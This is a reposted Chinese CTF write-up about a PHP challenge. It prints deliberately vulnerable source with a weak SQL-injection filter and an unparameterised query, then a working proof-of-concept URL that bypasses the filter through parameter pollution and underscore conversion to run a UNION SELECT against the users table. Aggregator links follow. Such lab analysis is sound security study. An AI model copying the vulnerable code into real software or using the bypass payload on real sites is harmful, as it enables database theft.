一道考查request导致的安全性问题的ctf题
这道题是在看红日安全团队的代码审计系列文章时碰到的,感觉挺有意思的,所以做了下。题目代码如下
//index.php <?php require 'db.inc.php';function dhtmlspecialchars($string) {if (is_array($string)) {foreach ($string as $key => $val) {$string[$key] = dhtmlspecialchars($val);}}else {$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);if (strpos($string, '&#') !== false) {$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);}}return $string;}function dowith_sql($str) {$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);if ($check) {echo "非法字符!";exit();}return $str;}// 经过第一个waf处理foreach ($_REQUEST as $key => $value) {$_REQUEST[$key] = dowith_sql($value);}// 经过第二个WAF处理$request_uri = explode("?", $_SERVER['REQUEST_URI']);if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);if (isset($_value[1])) {$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}}// 业务处理if (isset($_REQUEST['submit'])) {$user_id = $_REQUEST['i_d'];$sql = "select * from ctf.users where id=$user_id";$result=mysql_query($sql);while($row = mysql_fetch_array($result)){echo "<tr>";echo "<td>" . $row['name'] . "</td>";echo "</tr>";}} ?>
//db.inc.php <?php $mysql_server_name="localhost"; $mysql_database="ctf"; /** 数据库的名称 */ $mysql_username="root"; /** MySQL数据库用户名 */ $mysql_password="root"; /** MySQL数据库密码 */ $conn = mysql_connect($mysql_server_name, $mysql_username,$mysql_password,'utf-8'); ?>
//ctf.sql # Host: localhost (Version: 5.5.53) # Date: 2018-08-18 21:42:20 # Generator: MySQL-Front 5.3 (Build 4.234)/*!40101 SET NAMES utf8 */;# # Structure for table "users" # DROP TABLE IF EXISTS `users`; CREATE TABLE `users` (`Id` int(11) NOT NULL AUTO_INCREMENT,`name` varchar(255) DEFAULT NULL,`pass` varchar(255) DEFAULT NULL,`flag` varchar(255) DEFAULT NULL,PRIMARY KEY (`Id`) ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;# # Data for table "users" # /*!40000 ALTER TABLE `users` DISABLE KEYS */; INSERT INTO `users` VALUES (1,'admin','qwer!@#zxca','hrctf{R3qu3st_Is_1nterEst1ng}'); /*!40000 ALTER TABLE `users` ENABLE KEYS */;
绕过原理利用的是HTTP参数污染、$_SERVER['REQUEST_URI']以及$_REQUEST会对特殊字符(空格、.、[)转换成为下划线_。详细可参考文章request导致的安全性问题分析。
利用POC:
http://172.19.77.44/hongri/index.php?submit&i_d=1/**/union/**/select/**/1,name,3,4/**/from/**/ctf.users&i.d=113
结果如下图:
转载于:https://www.cnblogs.com/st404/p/10131537.html
一道考查request导致的安全性问题的ctf题相关推荐
- webview重新加载(reload)或者发起 redirect request导致js和objc代码之间的bridge失联解决方案(亲测有效)
webview重新加载(reload)或者发起 redirect request导致js和objc代码之间的bridge失联解决方案(亲测有效) 参考文章: (1)webview重新加载(reload ...
- 一道反序列化的CTF题分享
文章目录 一.源码分析 二.传参分析 三.小结 一.源码分析 首先看源代码: <?php Class readme{public function __toString(){return hig ...
- webview重新加载(reload)或者发起 redirect request导致js和objc代码之间的bridge失联解决方案(亲测有效)...
- (BOOL)webView:(UIWebView *)webView shouldStartLoadWithRequest:(NSURLRequest *)request navigationTy ...
- 每日一道Android 面试题,面试途中不败题
Android是一种基于Linux的自由及开放源代码的操作系统,主要使用于移动设备,如智能手机和平板电脑,由Google公司和开放手机联盟领导及开发.这里会不断收集和更新Android基础相关的面试题 ...
- ctf赛题上传一个php木马,从一道CTF题学习PHP反序列化漏洞
一.CTF题目 前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下. 此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入 ...
- 一道有意思并对你有帮助的Promise题
一道有意思的题 以下我的学习分析心路历程,以及我自己又多加了几道菜:希望对你有帮助 先上菜 new Promise((resolve, reject) => {console.log('prom ...
- 一道ctf题关于php反序列化字符逃逸
0x01 前言 无意间做应该是0ctf2016的一道web题,get新点,总计一下. 0x02 代码审计 进去之后是一个登录界面,试了一下register.php发现可以注册,注册完成后登录跳转到up ...
- C语言求二维数组平均数,一道JavaScript的二维数组求平均数的题
JavaScript中只支持一维数组,但是可以在数组中嵌套数组来创建二维以至于多维的数组.今天下午在看书时候,发现一道感觉比较有意思的题,就是js中如何求二维数组的列之和和行之和,现在就给大家分享下, ...
- 从一道CTF题学习PHP反序列化漏洞
一.CTF题目 前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下. 此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入 ...
最新文章
- Harris算子的运用 用于图像配准
- 我的Linux系统入坑之路!!!!
- [原创]我的作品:我的迷宫小游戏Java版本
- NeurIPS’20 | 长尾问题太严重?半监督和自监督就可以有效缓解!
- 需求获取的三阶段:需求背景、需求调研、需求分析 (2)
- MySQL基础篇(01):经典实用查询案例,总结整理
- python opencv 实现从一个文件夹中读取图片做切割处理后放入另一个文件夹
- linux系统安装与初用
- 最近在学习文案,一边看文案书,一边勾画笔记,一边练习
- 防止孩子使用计算机的软件,如何防止熊孩纸在电脑里乱装软件
- 谢菲尔德遗传算法工具箱函数简介
- bbs的html代码,bbs论坛源代码
- ROS机器人语音模块
- 关于Pyrene-PEG2/PEG3/PEG4/PEG5-azide化学式,分子量等相关对比总结
- PDF编辑方法,PDF文件怎么修改内容
- WiFI Display介绍
- Java 中 Integer 源码学习之缓存池了解
- 1.6编程基础之一维数组 10大整数加法
- AWS和Azure频频中断,可靠性让公有云成为带刺的玫瑰
- shape[0]、shape[1]、shape[2]代表了什么
热门文章
- 网络github_GitHub项目awesome-latex-drawing新增内容(四):绘制贝叶斯网络
- L3-028 森森旅游 (30 分)-PAT 团体程序设计天梯赛 GPLT
- 【最短路径】之Dijkstra算法
- 计算机的时间和dc的时间不同步_时间同步配置,让你轻松同步所有设备时间,让日志信息更有价值...
- 2020年日历可编辑内容模板_2020鼠年新春海报模板合集
- windows优化大师怎么用_软件不能用又卸载不掉怎么办——用Windows自家的卸载工具吧(dos级卸载)...
- Nisus Writer Pro for Mac拆分视图和注释技巧
- 觉得Win 10不如WP好?微软确认可以降级
- 刚学vue,写的一个入门demo,时光网
- css基础 -文本溢出 text-overflow:ellipsis;